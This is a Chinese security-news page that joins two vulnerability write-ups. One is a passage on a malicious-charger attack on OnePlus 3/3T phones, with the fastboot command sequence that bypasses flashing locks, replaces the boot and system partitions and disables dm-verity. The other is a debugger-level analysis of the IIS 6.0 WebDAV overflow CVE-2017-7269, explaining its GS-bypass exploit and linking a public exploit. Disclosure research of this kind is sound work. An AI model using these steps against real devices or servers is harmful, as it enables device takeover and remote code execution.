>fastbootflashbootevilboot.img targetreportedmaxdownloadsizeof440401920bytes sending'boot'(14836KB)... OKAY[0.335s] writing'boot'... FAILED(remote:Partitionflashingisnotallowed) finished.totaltime:0.358s >fastbootoem4F500301 ... OKAY[0.020s] finished.totaltime:0.021s >fastbootflashbootevilboot.img targetreportedmaxdownloadsizeof440401920bytes sending'boot'(14836KB)... OKAY[0.342s] writing'boot'... OKAY[0.135s] finished.totaltime:0.480s

这样恶意充电器就可以在用户输入凭证信息前,获得一个root权限的shell,不过此时攻击者还无法访问用户数据:

OnePlus3:/#id uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc)context=u:r:su:s0 OnePlus3:/#getenforce Permissive

OnePlus 3/3T的内核是在启用LKM条件下编译而成的,因此攻击者不需要修改或重新编译内核就可以运行内核代码。因此,我创建了一个小型内核模块:

#include<linux/module.h> #include<linux/kdb.h> intinit_module(void) { printk(KERN_ALERT"HelloFromEvilLKM\n"); return1; }

恶意充电器可以将该模块加载到内核中:

OnePlus3:/data/local/tmp#insmod./evil.ko OnePlus3:/data/local/tmp#dmesg|grep"EvilLKM" [19700121_21:09:58.970409]@3HelloFromEvilLKM

PoC 2:恶意充电器替换system分区(CVE-2017-5622/4/6)

这几个漏洞可以组合利用,在不向用户发出任何警告时,获得特权SELinux域中的代码执行权限,也可以访问原始用户数据。为了演示这一利用场景,我修改了system分区,添加了一个特权应用。为了添加特权应用,我们可以将目标APK文件放置于“/system/priv-app/<APK_DIR>”目录,这样该APK就会被添加到priv_app域(特权应用域)中,同时不要忘了使用chcon命令处理这个APK文件及它所处的文件目录。

同样的场景中,受害者将处于关机状态的设备连接至恶意充电器,攻击者通过CVE-2017-5622漏洞获取ADB会话,重启设备进入fastboot模式:

>adbshell android:/$id uid=2000(shell)gid=2000(shell)groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc)context=u:r:shell:s0 android:/$rebootbootloader >fastbootdevices cb010b5afastboot

利用CVE-2017-5626漏洞,恶意充电器可以将原始system分区替换为恶意的system分区:

>fastbootflashsystemevilsystem.img targetreportedmaxdownloadsizeof440401920bytes erasing'system'... FAILED(remote:Partitioneraseisnotallowed) finished.totaltime:0.014s >fastbootoem4F500301 OKAY [0.020s]finished.totaltime:0.021s >fastbootflashsystemevilsystem.img targetreportedmaxdownloadsizeof440401920byteserasing'system'... OKAY[0.010s] ... sendingsparse'system'7/7(268486KB)... OKAY[6.748s] writing'system'7/7... OKAY[3.291s] finished.totaltime:122.675s

使用CVE-2017-5624漏洞,恶意充电器可以禁用dm-verity保护:

>fastbootoemdisable_dm_verity ... OKAY [0.034s]finished.totaltime:0.036s

我们可以看到应用的确处于特权应用上下文的环境中:

1|OnePlus3:/$getprop|grepdm_verity [ro.boot.enable_dm_verity]:[0] OnePlus3:/$ps-Z|grepevilapp u:r:priv_app:s0:c512,c768u0_a1647642200171600474600SyS_epoll_0000000000Salephresearch.evilapp

五、漏洞修复

OnePlus通过修改“{persist.}sys.usb.config”文件,移除“on charger”事件中存在漏洞的条目,成功修复了该漏洞:

oncharger #yfbaddtosalvebindererrorloginpoweroffcharge setrlimit134040 setpropsys.usb.configmass_storage mkdir/dev/usb-ffs0770shellshell mkdir/dev/usb-ffs/adb0770shellshell mountfunctionfsadb/dev/usb-ffs/adbuid=2000,gid=2000 write/sys/class/android_usb/android0/f_ffs/aliasesadb #14(0xe)meansrejectcpu1cpu2cpu3online write/sys/module/msm_thermal/core_control/cpus_offlined14 #addbydavid.liu@oneplus.tw2015/12/22,improvetheperformanceofcharging write/sys/devices/system/cpu/cpu0/cpufreq/scaling_governorpowersave write/sys/devices/system/cpu/cpu1/online0 write/sys/devices/system/cpu/cpu2/online0 write/sys/devices/system/cpu/cpu3/online0 #yfbaddtosalvebindererrorloginpoweroffcharge startsrvmag_charger

六、OnePlus 2不受此漏洞影响

OnePlus 2的“init.qcom.usb.rc”文件中,“on charger”事件的“{persist}.sys.usb.config”属性同样被设置为“adb”:

oncharger mkdir/dev/usb-ffs0770shellshell mkdir/dev/usb-ffs/adb0770shellshell mountfunctionfsadb/dev/usb-ffs/adbuid=2000,gid=2000 write/sys/class/android_usb/android0/f_ffs/aliasesadb setproppersist.sys.usb.configadb [...]

“init.rc”文件中情况与此类似:

oncharger mountext4/dev/block/bootdevice/by-name/system/systemro setpropsys.usb.configfs0 load_system_props class_startcharger setpropsys.usb.configadb

即便如此,我们对OnePlus 2设备进行测试时,无法获得adb shell,虽然此时设备的USB接口处于开放运行状态:

>adbshell error:deviceunauthorized. Thisadbserver's$ADB_VENDOR_KEYSisnotset Try'adbkill-server'ifthatseemswrong. Otherwisecheckforaconfirmationdialogonyourdevice. >adbdevices Listofdevicesattached 6b3ef4d5unauthorized

因此,OnePlus 2不受此漏洞影响。与OnePlus 3/3T情况相反,OnePlus 2的OxygenOS系统镜像保留了ADB授权机制。对系统镜像的反汇编后,我们发现该系统的确不存在ro.boot.mode以及auth_required被绕过问题。


【技术分享】如何通过恶意充电器控制你的OnePlus 3/3T(含演示视频)
【技术分享】如何通过恶意充电器控制你的OnePlus 3/3T(含演示视频)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://alephsecurity.com/2017/03/26/oneplus3t-adb-charger/

【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

$
0
0
【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

2017-03-30 10:37:03
来源:安全客 作者:安全客

阅读:44841次
点赞(0)
收藏






【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit


漏洞描述

漏洞编号:CVE-2017-7269

发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)

漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。

漏洞类型:缓冲区溢出

漏洞等级:高危

影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)

触发函数:ScStoragePathFromUrl函数

附加信息:ScStoragePathFromUrl函数被调用了两次

漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以“If: <http://”开始的较长header头的PROPFIND请求执行任意代码。


漏洞分析(漏洞分析转载自:http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html)

CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。

目前在github上有一个在windows server 2003 r2上稳定利用的exploit,这个exp目前执行的功能是弹计算器,使用的shellcode方法是alpha shellcode,这是由于url在内存中以宽字节形式存放,以及其中包含的一些badchar,导致无法直接使用shellcode执行代码,而需要先以alpha shellcode的方法,以ascii码形式以宽字节写入内存,然后再通过一小段解密之后执行代码。

github地址:https://github.com/edwardz246003/IIS_exploit

这个漏洞其实原理非常简单,但是其利用方法却非常有趣,我在入门的时候调试过很多stack overflow及其exp,但多数都是通过覆盖ret,覆盖seh等方法完成的攻击,直到我见到了这个exploit,感觉非常艺术。但这个漏洞也存在其局限性,比如对于aslr来说似乎没有利用面,因此在高版本windows server中利用似乎非常困难,windows server 2003 r2没有aslr保护。

在这篇文章中,我将首先简单介绍一下这个漏洞的利用情况;接着,我将和大家一起分析一下这个漏洞的形成原因;然后我将给大家详细介绍这个漏洞的利用,最后我将简要分析一下这个漏洞的rop及shellcode。

我是一只菜鸟,如有不当之处,还望大家多多指正,感谢阅读!


弹弹弹--一言不合就“弹”计算器

漏洞环境搭建

漏洞环境的搭建非常简单,我的环境是windows server 2003 r2 32位英文企业版,安装之后需要进入系统配置一下iis6.0,首先在登陆windows之后,选择配置服务器,安装iis6.0服务,之后进入iis6.0管理器,在管理器中,有一个windows扩展,在扩展中有一个webdav选项,默认是进入用状态,在左侧选择allow,开启webdav,之后再iis管理器中默认网页中创建一个虚拟目录(其实这一步无所谓),随后选择run->services.msc->WebClient服务,将其开启,这样完成了我的配置。

触发漏洞

漏洞触发非常简单,直接在本地执行python exp.py即可,这里为了观察过程,我修改了exp,将其改成远程,我们通过wireshark抓包,可以看到和目标机的交互行为。


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

可以看到,攻击主机向目标机发送了一个PROPFIND数据包,这个是负责webdav处理的一个指令,其中包含了我们的攻击数据,一个<>包含了两个超长的httpurl请求,其中在两个http url中间还有一个lock token的指令内容。

随后我们可以看到,在靶机执行了calc,其进程创建在w2wp进程下,用户组是NETWORK SERVICE。


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

我在最开始的时候以为这个calc是由于SW_HIDE的参数设置导致在后台运行,后来发现其实是由于webdav服务进程本身就是无窗口的,导致calc即使定义了SW_SHOWNORMAL,也只是在后台启动了。

事实上,这个漏洞及时没有后面的<>中的http url,单靠一个IF:<>也能够触发,而之所以加入了第二个<>以及lock token,是因为作者想利用第一次和第二次http请求来完成一次精妙的利用,最后在指令下完成最后一击。

我尝试去掉第二次<>以及请求,同样能引发iis服务的crash。


【漏洞分析】CVE-2017-7269:IIS6.0远程代码执行漏洞分析及Exploit

CVE-2017-7269漏洞分析

这个漏洞的成因是在WebDav服务动态链接库的httpext.dll的ScStorageFromUrl函数中,这里为了方便,我们直接来跟踪分析该函数,在下一小节内容,我将和大家来看看整个精妙利用的过程。我将先动态分析整个过程,然后贴出这个存在漏洞函数的伪代码。

在ScStorageFromUrl函数中,首先会调用ScStripAndCheckHttpPrefix函数,这个函数主要是获取头部信息进行检查以及对host name进行检查。

0:009>p//调用CchUrlPrefixW获取url头部信息 eax=67113bc8ebx=00fffbe8ecx=00605740edx=00fff4f8esi=0060c648edi=00605740 eip=671335f3esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x1e: 671335f3ff5024calldwordptr[eax+24h]ds:0023:67113bec={httpext!CEcbBaseImpl<IEcb>::CchUrlPrefixW(6712c72a)} 0:009>p eax=00000007ebx=00fffbe8ecx=00fff4ccedx=00fff4f8esi=0060c648edi=00605740 eip=671335f6esp=00fff4b8ebp=00fff4d0iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStripAndCheckHttpPrefix+0x21: 671335f68bd8movebx,eax 0:009>dcesil6//esi存放头部信息,以及servername,这个localhost会在后面获取到。 0060c6480074006800700074002f003a006c002fh.t.t.p.:././.l. 0060c6580063006f006c0061o.c.a.l.

在check完http头部和hostname之后,会调用wlen函数获取当前http url长度。

0:009>p eax=0060e7d0ebx=0060b508ecx=006058a8edx=0060e7d0esi=00605740edi=00000000 eip=67126ce8esp=00fff330ebp=00fff798iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStoragePathFromUrl+0x6d: 67126ce850pusheax 0:009>p eax=0060e7d0ebx=0060b508ecx=006058a8edx=0060e7d0esi=00605740edi=00000000 eip=67126ce9esp=00fff32cebp=00fff798iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStoragePathFromUrl+0x6e: 67126ce9ff1550121167calldwordptr[httpext!_imp__wcslen(67111250)]ds:0023:67111250={msvcrt!wcslen(77bd8ef2)} 0:009>reax eax=0060e7d0 0:009>dceax 0060e7d00062002f006200620062006200620062/.b.b.b.b.b.b.b. 0060e7e0617579486f674f4348456b6f67753646HyuaCOgookEHF6ug 0060e7f0387144335a625765566154356a5369523Dq8eWbZ5TaVRiSj 0060e800384e5157635559484364497134686472WQN8HYUcqIdCrdh4 0060e810717947586b55336b504f6d4834717a46XGyqk3UkHmOPFzq4 0060e82074436f546f6f5956345773417a726168ToCtVYooAsW4harz 0060e8304d4937455448574e367a4c3862663572E7IMNWHT8Lz6r5fb 0060e840486d6e436177354861744d5a43654133CnmHH5waZMta3AeC 0:009>p eax=000002fdebx=0060b508ecx=00600000edx=0060e7d0esi=00605740edi=00000000 eip=67126cefesp=00fff32cebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x74: 67126cef59popecx 0:009>reax eax=000002fd

在利用的关键一次,我们获取的是poc中http://localhost/bbbbb的字符串,这个字符串长度很长,可以看到eax寄存器存放的是url长度,长度是0x2fd,随后会进入一系列的判断,主要是检查url中一些特殊字符,比如0x2f。

0:009>g//eax存放的是指向url的指针,这里会获取指针的第一个字符,然后和“/”作比较 Breakpoint1hit eax=0060e7d0ebx=0060b508ecx=006058a8edx=0060e7d0esi=00605740edi=00000000 eip=67126cd7esp=00fff334ebp=00fff798iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStoragePathFromUrl+0x5c: 67126cd76683382fcmpwordptr[eax],2Fhds:0023:0060e7d0=002f 0:009>dceax 0060e7d00062002f006200620062006200620062/.b.b.b.b.b.b.b. 0060e7e0617579486f674f4348456b6f67753646HyuaCOgookEHF6ug

经过一系列的检查之后,会进入一系列的memcpy函数,主要就是用来构造虚拟文件路径,这个地方拷贝的长度没有进行控制,而拷贝的目标地址,是在外层函数调用stackbuff申请的地址,这个地址会保存在栈里。在ScStorageFromUrl函数中用到,也就是在memcpy函数中用到,作为目的拷贝的地址。

ScStorageFromUrl函数中实际上在整个漏洞触发过程中会调用很多次,我们跟踪的这一次,是在漏洞利用中的一个关键环节之一。首先我们来看一下第一次有效的memcpy

0:009>p eax=00000024ebx=000002fdecx=00000009edx=00000024esi=00000012edi=680312c0 eip=67126fa9esp=00fff330ebp=00fff798iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 httpext!ScStoragePathFromUrl+0x32e: 67126fa98db5c4fbffffleaesi,[ebp-43Ch] 0:009>p eax=00000024ebx=000002fdecx=00000009edx=00000024esi=00fff35cedi=680312c0 eip=67126fafesp=00fff330ebp=00fff798iopl=0nvupeiplnznapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000206 httpext!ScStoragePathFromUrl+0x334: 67126faff3a5repmovsdwordptres:[edi],dwordptr[esi] 0:009>resi esi=00fff35c 0:009>dcesi 00fff35c003a00630069005c0065006e00700074c.:.\.i.n.e.t.p. 00fff36c006200750077005c00770077006f0072u.b.\.w.w.w.r.o. 00fff37c0074006f0062005c0062006200620062o.t.\.b.b.b.b.b. 00fff38c00620062617579486f674f4348456b6fb.b.HyuaCOgookEH

这次memcpy拷贝过程中,会将esi寄存器中的值拷贝到edi寄存器中,可以看到edi寄存器的值是0x680312c0,这个值很有意思,在之前我提到过,这个buffer的值会在外层函数中申请,并存放在栈中,因此正常情况应该是向一个栈地址拷贝,而这次为什么会向一个堆地址拷贝呢?

这是个悬念,也是我觉得这个利用巧妙的地方,下面我们先进入后面的分析,在memcpy中,也就是rep movs中ecx的值决定了memcpy的长度,第一次拷贝的长度是0x9。

接下来,回进入第二次拷贝,这次拷贝的长度就比较长了。

0:009>p//长度相减,0x2fd-0x0 eax=00000024ebx=000002fdecx=00000000edx=00000000esi=0060e7d0edi=680312e4 eip=67126fc4esp=00fff330ebp=00fff798iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStoragePathFromUrl+0x349: 67126fc42bdasubebx,edx 0:009>rebx ebx=000002fd 0:009>redx edx=00000000 0:009>p eax=00000024ebx=000002fdecx=00000000edx=00000000esi=0060e7d0edi=680312e4 eip=67126fc6esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x34b: 67126fc68d3456leaesi,[esi+edx*2] 0:009>p eax=00000024ebx=000002fdecx=00000000edx=00000000esi=0060e7d0edi=680312e4 eip=67126fc9esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x34e: 67126fc98b95b0fbffffmovedx,dwordptr[ebp-450h]ss:0023:00fff348=680312c0 0:009>p eax=00000024ebx=000002fdecx=00000000edx=680312c0esi=0060e7d0edi=680312e4 eip=67126fcfesp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x354: 67126fcf8d3c10leaedi,[eax+edx] 0:009>p//ecx的值为dword值 eax=00000024ebx=000002fdecx=00000000edx=680312c0esi=0060e7d0edi=680312e4 eip=67126fd2esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x357: 67126fd28d4c1b02leaecx,[ebx+ebx+2] 0:009>p eax=00000024ebx=000002fdecx=000005fcedx=680312c0esi=0060e7d0edi=680312e4 eip=67126fd6esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x35b: 67126fd68bc1moveax,ecx 0:009>p//最后拷贝的长度再除以4 eax=000005fcebx=000002fdecx=000005fcedx=680312c0esi=0060e7d0edi=680312e4 eip=67126fd8esp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x35d: 67126fd8c1e902shrecx,2 0:009>p//这次拷贝17f的值key!!!看ecx eax=000005fcebx=000002fdecx=0000017fedx=680312c0esi=0060e7d0edi=680312e4 eip=67126fdbesp=00fff330ebp=00fff798iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!ScStoragePathFromUrl+0x360: 67126fdbf3a5repmovsdwordptres:[edi],dwordptr[esi]

可以看到,这次拷贝的长度是0x17f,长度非常大,而在整个分析的过程中,并没有对拷贝的长度进行控制,因此,可以拷贝任意超长的字符串,进入这个堆空间。

这个堆空间非常有意思,存放的是一个vftable,这个vftable会在ScStorageFromUrl函数中的某个内层函数调用调用到,还记得之前分析的ScStripAndCheckHttpPrefi函数吗。

0:009>p//正常情况ScStripAndCheckHttpPrefix函数中对vftable的获取 eax=00fff9a4ebx=00fffbe8ecx=00605740edx=00fff4f8esi=0060c648edi=00605740 eip=671335e8esp=00fff4b8ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x13: 671335e88b07moveax,dwordptr[edi]ds:0023:00605740={httpext!CEcb::`vftable'(67113bc8)}

获取完虚表之后,会获取到对应的虚函数,在ScStripAndCheckHttpPrefix函数中call调用到。但是由于之前的memcpy覆盖,导致这个vftable被覆盖。

0:009>p eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=671335f0esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x1b: 671335f08955f4movdwordptr[ebp-0Ch],edxss:0023:00fff4c4=00000000 0:009>p//eax是vftable,而call[eax+24]调用虚函数,这里由于之前的覆盖,导致跳转到可控位置 eax=680313c0ebx=00fffbe8ecx=680313c0edx=00fff4f8esi=0060e7b0edi=680313c0 eip=671335f3esp=00fff4b4ebp=00fff4d0iopl=0nvupeiplzrnapenc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000246 httpext!ScStripAndCheckHttpPrefix+0x1e: 671335f3ff5024calldwordptr[eax+24h]ds:0023:680313e4=68016082 0:009>dceax 680313c0680313c068006e4f68006e4f766a4247...hOn.hOn.hGBjv 680313d0680313c04f744257523459474b424b66...hWBtOGY4RfKBK

这个漏洞的原理非常简单,在PROPFIND中,由于对http的长度没有进行检查,导致在memcpy中,可以拷贝超长的字符串,覆盖到栈中的关键位置,下面来看一下伪代码。

__int32__fastcallScStoragePathFromUrl(conststructIEcb*a1,wchar_t*a2,unsigned__int16*a3,unsignedint*a4,structCVRoot**a5) { v35=a3; v5=a1; Str=a2; v37=(int)a1; v34=a4; v33=a5; result=ScStripAndCheckHttpPrefix(a1,(constunsigned__int16**)&Str);//主要用来检查开头信息,比如http头以及host等等 if(result<0) returnresult; if(*Str!=47)//判断第一个值是不是/ return-2146107135; v7=_wcslen(Str);//获取str长度,也就是畸形url长度 result=IEcbBase::ScReqMapUrlToPathEx(Str,WideCharStr); v36=result; if(result<0) returnresult; v8=(*(int(__thiscall**)(conststructIEcb*,wchar_t**))(*(_DWORD*)v5+52))(v5,&Str1);//httpext!CEcbBaseImpl<IEcb>::CchGetVirtualRootW(6712d665)获取虚拟路径 if(v8==v42) { if(!v8||Str[v8-1]&&!__wcsnicmp(Str1,Str,v8)) gotoLABEL_14; } elseif(v8+1==v42) { v9=Str[v8]; if(v9==47||!v9) { --v42; gotoLABEL_14; } } v36=1378295; LABEL_14: if(v36==1378295&&a5) { …… } v16=v41; if(v41) { v17=(constunsigned__int16*)((char*)&v39+2*v41+2); if(*v17==92) { while(v16&&*v17==92&&!FIsDriveTrailingChar(v17,v16)) { v41=--v16; --v17; } } elseif(!*v17) { v16=v41---1; } } v18=v16-v42+v7+1; v19=*v34<v18; v37=v16-v42+v7+1; if(v19) { …… } else//进入这一处else处理 { v21=v35; v22=v16; v23=2*v16; v24=(unsignedint)(2*v16)>>2; qmemcpy(v35,WideCharStr,4*v24);//拷贝虚拟路径 v26=&WideCharStr[2*v24]; v25=&v21[2*v24]; LOBYTE(v24)=v23; v27=v42; qmemcpy(v25,v26,v24&3); v28=v7-v27;//这里v7是0x2fd,相减赋值给v28,这个值很大,v27为0 v29=&Str[v27]; v30=v35; qmemcpy(&v35[v22],v29,2*v28+2);//直接拷贝到栈中,没有对长度进行检查,导致溢出 for(i=&v30[v41];*i;++i) { if(*i==47) *i=92; } *v34=v37; result=v36; } returnresult; }

CVE-2017-7269 Exploit!精妙的漏洞利用

其实通过上面的分析,我们发现这个漏洞的 原理非常简单,但是究竟如何利用呢,我们来看一下关于ScStorageFromUrl函数中,包含了GS check,也就是说,我们在进行常规的覆盖ret方式利用的情况下,将会把cookie也会覆盖,导致利用失败。

.text:67127017loc_67127017:;CODEXREF:ScStoragePathFromUrl(IEcbconst&,ushortconst*,ushort*,uint*,CVRoot**)+50j .text:67127017;ScStoragePathFromUrl(IEcbconst&,ushortconst*,ushort*,uint*,CVRoot**)+67j .text:67127017movecx,[ebp+var_C] .text:6712701Apopedi .text:6712701Bmovlargefs:0,ecx .text:67127022movecx,[ebp+var_10] .text:67127025popesi .text:67127026call@__security_check_cookie@4;__security_check_cookie(x) .text:6712702Bleave .text:6712702Cretn0Ch

漏洞利用非常精妙,也就是用这种方法,巧妙的绕过了gs的检查,最后达到漏洞利用,稳定的代码执行,首先,WebDav对数据包的处理逻辑是在DAVxxx函数中完成的。比如当前数据包是PROPFIND,那么当前的函数处理逻辑就是DAVpropfind函数。

0:009>kb ChildEBPRetAddrArgstoChild 00fff79867119469680312c000fff80000000000httpext!ScStoragePathFromUrl 00fff7ac6712544a0060e7b0680312c000fff800httpext!CMethUtil::ScStoragePathFromUrl+0x18 00fffc346712561e0060b5080060584e00fffc78httpext!HrCheckIfHeader+0x124 00fffc446711f6590060b5080060584e00000001httpext!HrCheckStateHeaders+0x10 00fffc786711f7c50060c01000fffcd4671404e2httpext!CPropFindRequest::Execute+0xf0 00fffc90671296f20060c0100000000401017af8httpext!DAVPropFind+0x47

在内层的函数处理逻辑中,有一处关键的函数处理逻辑HrCheckIfHeader,主要负责DAVPropFind函数对头部的check,这个函数处理逻辑中有一处while循环,我已经把这个循环的关键位置的注释写在伪代码中。

__int32__stdcallHrCheckIfHeader(structCMethUtil*a1,constunsigned__int16*a2) while(2) { v6=IFITER::PszNextToken(&v20,0); v7=v6; if(v6)//这里获取下一个url值,第一轮会进入这里,第二轮也会,第三轮就进不去了 { CStackBuffer<unsignedshort,260>::CStackBuffer<unsignedshort,260>(260); v9=(constwchar_t*)(v7+2); LOBYTE(v34)=2; v27=_wcslen(v9); if(!CStackBuffer<unsignedshort,260>::resize(2*v27+2)) gotoLABEL_35; v5=ScCanonicalizePrefixedURL(v9,v32,&v27); if(v5) gotoLABEL_43; v27=v29>>3; v5=CMethUtil::ScStoragePathFromUrl(a1,v32,Str,&v27); if(v5==1) { if(!CStackBuffer<unsignedshort,260>::resize(v27)) { LABEL_35: LOBYTE(v34)=1; CStackBuffer<char,260>::release(&v31); v5=-2147024882; gotoLABEL_39; } v5=CMethUtil::ScStoragePathFromUrl(a1,v32,Str,&v27); } if(v5<0) { LABEL_43: LOBYTE(v34)=1; CStackBuffer<char,260>::release(&v31); gotoLABEL_39; } v10=_wcslen(Str); v27=v10; v11=&Str[v10-1]; if(*v11==62) *v11=0; v8=Str; LOBYTE(v34)=1; CStackBuffer<char,260>::release(&v31); } else { if(!v25)//进不去就跳入这里,直接break掉,随后进入locktoken,会调用sc函数 gotoLABEL_38; v8=(constunsigned__int16*)v24; } v25=0; for(i=(wchar_t*)IFITER::PszNextToken(&v20,2);;i=(wchar_t*)IFITER::PszNextToken(&v20,v19)) { v17=i; if(!i) break; v12=*i; if(*v17==60) { v13=HrValidTokenExpression((int)a1,v17,(int)v8,0); } elseif(v12==91) { if(!FGetLastModTime(0,v8,(struct_FILETIME*)&v23) ||!FETagFromFiletime((int)&v23,&String,*((_DWORD*)a1+4))) { LABEL_26: if(v22) gotoLABEL_27; gotoLABEL_30; } v14=v17+1; if(*v14==87) v14+=2; v15=_wcslen(&String); v13=_wcsncmp(&String,v14,v15); } else { v13=-2147467259; } if(v13) gotoLABEL_26; if(!v22)//如果不等于22,则v26为1continue,这里v22为0 { LABEL_27: v26=1; v19=3; continue; } LABEL_30: v26=0; v19=4; } v2=0; if(v26)//这里进这里 { v6=IFITER::PszNextToken(&v20,1);//获得下一个url部分,第一次处理完,由于后面还有url,所以这里v6会有值,而第二次,这里后面没有值了 continue; } break; }

如果看的比较迷糊,可以看我下面的描述,首先这个while函数中,有一个非常有意思的函数PszNextToken,这个函数会连续获取<>中的http url,直到后面没有http url,则跳出循环,这也是这个漏洞利用的关键条件。

首先,第一次会处理IF后面的第一个http url,这个url就是http://localhost/aaaa..,这个处理过程,实际上就完成了第一次溢出,首先stackbuffer会通过CStackBuffer函数获取,获取到之后,这个值会存放在stack中的一个位置。接下来会进行第一次ScStorageFromUrl,这个地方会对第一个<>中的http url处理。长度是0xa7。

0:009>p eax=00fff910ebx=0060b508ecx=00000410edx=00000000esi=0060c64aedi=77bd8ef2 eip=671253e2esp=00fff7bcebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0xbc: 671253e2ffd7calledi{msvcrt!wcslen(77bd8ef2)}//第一次处理aaaa部分,长度只有a7 0:009>dc60c64a 0060c64a0074006800700074002f003a006c002fh.t.t.p.:././.l. 0060c65a0063006f006c0061006f006800740073o.c.a.l.h.o.s.t. 0060c66a0061002f006100610061006100610061/.a.a.a.a.a.a.a. 0060c67a78636f6871337761477269364b777a39hocxaw3q6irG9zwK 0:009>p eax=000000a7

这个a7长度很小,不会覆盖到gs,因此可以通过security check,但是这个a7却是一个溢出,它超过了stack buffer的长度,会覆盖到stack中关于stack buffer指针的存放位置。这个位置保存在ebp-328的位置。

0:009>p eax=00fff800ebx=0060b508ecx=0060b508edx=00000104esi=00000001edi=77bd8ef2 eip=67125479esp=00fff7b8ebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0x153: 67125479ffb5e4fdffffpushdwordptr[ebp-21Ch]ss:0023:00fffa18=0060c828 0:009>p eax=00fff800ebx=0060b508ecx=0060b508edx=00000104esi=00000001edi=77bd8ef2 eip=6712547fesp=00fff7b4ebp=00fffc34iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 httpext!HrCheckIfHeader+0x159: 6712547fe8cd3fffffcallhttpext!CMethUtil::ScStoragePathFromUrl(67119451) 0:009>ddebp-328//注意拷贝的地址,这个90c是scstoragepathfromurl要拷贝的栈地址 00fff90c00fff8046711205b0000001300fff9c0 00fff91c671287e700000000000000f000000013

可以看到,第一次ScStoragePathFromUrl的时候,拷贝的地址是一个栈地址,通过stackbuffer申请到的,但是由于memcpy引发的栈溢出,导致这个地方值会被覆盖。

